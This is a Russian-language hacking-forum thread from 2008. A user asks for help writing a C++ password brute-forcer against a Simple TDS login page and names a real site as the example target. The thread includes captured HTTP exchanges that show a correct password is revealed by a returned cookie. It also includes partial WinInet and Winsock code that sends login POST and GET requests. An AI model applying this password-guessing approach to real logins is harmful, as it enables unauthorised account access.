ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Программирование > С/С++, C#, Delphi, .NET, Asm
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Пишу брутфорс на С++
  #1  
Старый 09.11.2008, 05:09
Аватар для n4e/\@
n4e/\@
Участник форума
Регистрация: 06.05.2008
Сообщений: 161
Провел на форуме:
1289087

Репутация: 59
По умолчанию Пишу брутфорс на С++

Хочу разобраться как вообще писать брутфорс.
Выбрал цель Simple TDS, там надо подставлять все го лишь один параметр - пароль.
Для примера возьмем сайт http://gtteam.ru/tds/index.php
(сам тестирую на локалхосте)
Предположим что на этом сайте стоит пароль 123456
Запрос-ответ при правильном пароле
Код:
http://gtteam.ru/tds/index.php

POST tds/index.php HTTP/1.1
Host: gtteam.ru
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; ru; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: ru,en-us;q=0.7,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: http://gtteam.ru/tds/index.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 11
pass=123456

HTTP/1.x 200 OK
Date: Sun, 09 Nov 2008 00:14:21 GMT
Server: Apache/1.3.39 (Unix) PHP/5.2.5 mod_auth_passthrough/1.8 mod_log_bytes/1.2 mod_bwlimited/1.4 FrontPage/5.0.2.2635.SR1.2 mod_ssl/2.8.30 OpenSSL/0.9.8b
X-Powered-By: PHP/5.2.5
Set-Cookie: pwd=e10adc3949ba59abbe56e057f20f883e
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html
Ответ при неправленом запросе:
Код:
HTTP/1.x 200 OK
Date: Sun, 09 Nov 2008 00:20:41 GMT
Server: Apache/1.3.39 (Unix) PHP/5.2.5 mod_auth_passthrough/1.8 mod_log_bytes/1.2 mod_bwlimited/1.4 FrontPage/5.0.2.2635.SR1.2 mod_ssl/2.8.30 OpenSSL/0.9.8b
X-Powered-By: PHP/5.2.5
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html
т.е все тоже самое только при ответе не выдаются куки.

Понятно что брут мне не кто не напишет, да и мне самому уже интересно понять как со всем этим работать.
Вот то что есть:

Код:
#include <stdafx.h>

#include <windows.h>
#include <wininet.h>
#pragma comment(lib,"wininet")

#include <stdlib.h>
#include <fstream> //Для чтения будующих паролей из файла
using namespace std;
#include <iostream>
#include <conio.h>

int main()
{

	   static TCHAR hdrs[] =
      _T("Content-Type: application/x-www-form-urlencoded");
	   static TCHAR accept[] =
      _T("Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");

	// инициализируем WinInet
	HINTERNET hInternet =
		::InternetOpen(
		TEXT("Mozilla/5.0 (Windows; U; Windows NT 6.0; ru; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3"), //Имя
		INTERNET_OPEN_TYPE_PRECONFIG,
		NULL,NULL,
		0);

	HINTERNET hConnect = ::InternetConnect(
		hInternet,
		TEXT("gtteam.ru"), //Сервер к которому подключаемся
		INTERNET_DEFAULT_HTTP_PORT,
		NULL,NULL,
		INTERNET_SERVICE_HTTP,
		0,
		1u);

	HINTERNET hRequest = 
		::HttpOpenRequest(
		hConnect,
		L"POST", //Метод
		L"tds/index.php", //Страница где вводим пароль
		L"HTTP/1.1",
		NULL,
		0,
		INTERNET_FLAG_KEEP_CONNECTION,
		1);

	BOOL bSend = ::HttpSendRequest(hRequest, NULL, 0, "pass=123456", 11); //Длина контента 11 (pass=123456)

	_getch();

	return 0;
}
С кодом пока что эксеперементирую поэтому такой кривой.
Раньше еще было то что он выводил мне исходный код страницы, но я убрал т.к он вроде не нужен.
Но вот что я должен делать дальше? А самое главное как? Я так понимаю что надо как то вытащить ответ который выдает сервер, какой функцией? Есть предположение что HttpQueryInfo
Еще я очень сомневаюсь что код верный, но то что на сервере считаются зоходы это 100%, и даже вроде длину контента и пароль отсылает.
 
Ответить с цитированием

  #2  
Старый 09.11.2008, 06:28
Аватар для LEE_ROY
LEE_ROY
Постоянный
Регистрация: 09.11.2006
Сообщений: 639
Провел на форуме:
1917742

Репутация: 541


По умолчанию

зачем вининет? )

...google...#include "WINSOCK2.H"...send...recv...
ога?



p.s Вот тебе ахренительно подробный ман по работе с сокетами - hxxp://www.tenouk.com/cnwinsock2tutorials.html , зачитаешся ..

Последний раз редактировалось LEE_ROY; 09.11.2008 в 06:42..
 
Ответить с цитированием

  #3  
Старый 09.11.2008, 15:09
Аватар для bons
bons
Участник форума
Регистрация: 20.12.2007
Сообщений: 295
Провел на форуме:
1777055

Репутация: 347
По умолчанию

perl+lwp и это будет 20 строчек кода
 
Ответить с цитированием

  #4  
Старый 09.11.2008, 18:22
Аватар для De-visible
De-visible
Banned
Регистрация: 06.01.2008
Сообщений: 904
Провел на форуме:
4037638

Репутация: 1821


Отправить сообщение для De-visible с помощью ICQ
По умолчанию

Цитата:
Сообщение от bons  
perl+lwp и это будет 20 строчек кода
Это типо к чему ты написал?
Тогда на Дельфе использование компонента TidHTTP и это ваще около 5 строчек кода.
ппц..
----------

LEE_ROY, а почему сокеты????
WinInet тоже не плохо
 
Ответить с цитированием

  #5  
Старый 09.11.2008, 20:49
Аватар для n4e/\@
n4e/\@
Участник форума
Регистрация: 06.05.2008
Сообщений: 161
Провел на форуме:
1289087

Репутация: 59
По умолчанию

НУ то что я занимаюсь мозго*бством я понимаю. Но все равно раз взялся, то надо написать.
Вот пример на сокетах http://pastebin.com/md930734 но там я тоже не могу выдернуть ответ на запрос+если судить по логам сервера то не какого запроса не приходит
 
Ответить с цитированием

  #6  
Старый 10.11.2008, 22:35
Аватар для n4e/\@
n4e/\@
Участник форума
Регистрация: 06.05.2008
Сообщений: 161
Провел на форуме:
1289087

Репутация: 59
По умолчанию

Код:
#include <stdafx.h>
#include <winsock2.h>
#include <windows.h>
#include <iostream>
#include <sstream>


using namespace std;


#define PORT 80
#define SERVERADDR "127.0.0.1"

int main()
{
	setlocale(LC_ALL,"RUS");
	char buff [ 1024 ] = "" ;
	cout << ("TCP Client\n");
	/*******************Проверка инициализации***************/
	if ( WSAStartup ( 0x202, ( WSADATA * ) &buff [ 0 ] ) )
	{
		cout << "WSAStart error \n " << WSAGetLastError ( ) ;
		return -1;
	}
	/********************************************************/

	SOCKET my_sock ;
	/*******************Создаем сокет************************/
	my_sock = socket ( AF_INET, SOCK_STREAM, 0 );
	if  ( my_sock < 0 )        //
	{
		cout << "Socket ( ) error\n" << WSAGetLastError ( ) ;
		return  -1;
	}
	/********************************************************/

	sockaddr_in  dest_addr ;
	dest_addr.sin_family=AF_INET; //инет коннектинг
	dest_addr.sin_port=htons ( PORT ); //порт
	HOSTENT    *hst;  // хост
	if    ( inet_addr ( SERVERADDR ) !=INADDR_NONE )    
		dest_addr.sin_addr.s_addr = inet_addr(SERVERADDR);
	else
		if   ( hst=gethostbyname ( SERVERADDR ) )    ( ( unsigned long   * ) &dest_addr.sin_addr ) [ 0 ] =
			( ( unsigned long    ** ) hst->h_addr_list ) [ 0 ] [ 0 ] ;

		else
		{
			printf ( "invalid address   %s \n ", SERVERADDR ) ;
			closesocket ( my_sock ) ;
			WSACleanup ( ) ;
			return  -1;
		}

		 if  (connect ( my_sock, ( sockaddr  * ) &dest_addr, sizeof ( dest_addr ) ) )
            {
                            cout << " Connect error \n" << WSAGetLastError ( ) ;
                            return -1;
            }

            cout << "Соединение с " << SERVERADDR << " успешно установлено \n";




 int nsize;
 stringstream clientRequest;
 clientRequest << "GET / HTTP/1.1\r\n"
                 "Host: 127.0.0.1\r\n"
"User-Agent: MOBILKA\r\n"
"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
"Accept-Language: ru,en-us;q=0.7,en;q=0.3\r\n"
"Accept-Encoding: gzip,deflate\r\n"
"Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7\r\n"
"Keep-Alive: 300\r\n"
"Connection: keep-alive\r\n";
 char clientRequest2[1000]; 
 //int mlen;
 //mlen = strlen(clientRequest); 

 
 
 send(my_sock, clientRequest.str().data(), clientRequest.str().size(),0);
 
 //send(my_sock, (char *) clientRequest, mlen, MSG_DONTROUTE);

 const int s_ciBufLen=1024;
 char cBuff[513];
 string page;
 //int i=0;
 while (recv (my_sock, (char *) &cBuff, 512 , 0)> 0)
 {
	 page+=cBuff;
	 //i++;

 }
 //recv(my_sock, (

 cout << i;

              closesocket ( my_sock ) ;
              WSACleanup ( ) ;

			  
              return 0;
}
Почему на сервере не считается заход? Я по разному пробовал делать запрос\ответ. Результат прога либо стопорица на посылки-получение данных(ошибок нет, просто стоит на одном месте) либо возвращает пустую строку. Я так понимаю что либо ответ до сервера не доходит, либо он вобще к серверу не подключается.
Юзер агент такой что бы не путаться в логах сервера, пробовал писать нормальный юзер агент на результат это не влияет
*************
Разобрался. ошибка была в неправельной посылки заголовков

Последний раз редактировалось n4e/\@; 11.11.2008 в 15:29..
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Пишу скрипты F1kus О Работе 15 18.03.2009 11:52
Пишу реферальную систему для phpbb. Помогите советом NApoleonchik PHP, PERL, MySQL, JavaScript 15 25.06.2008 19:50
Пишу Php скрипты и накрутчики mr.The О Работе 3 14.01.2008 03:51



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ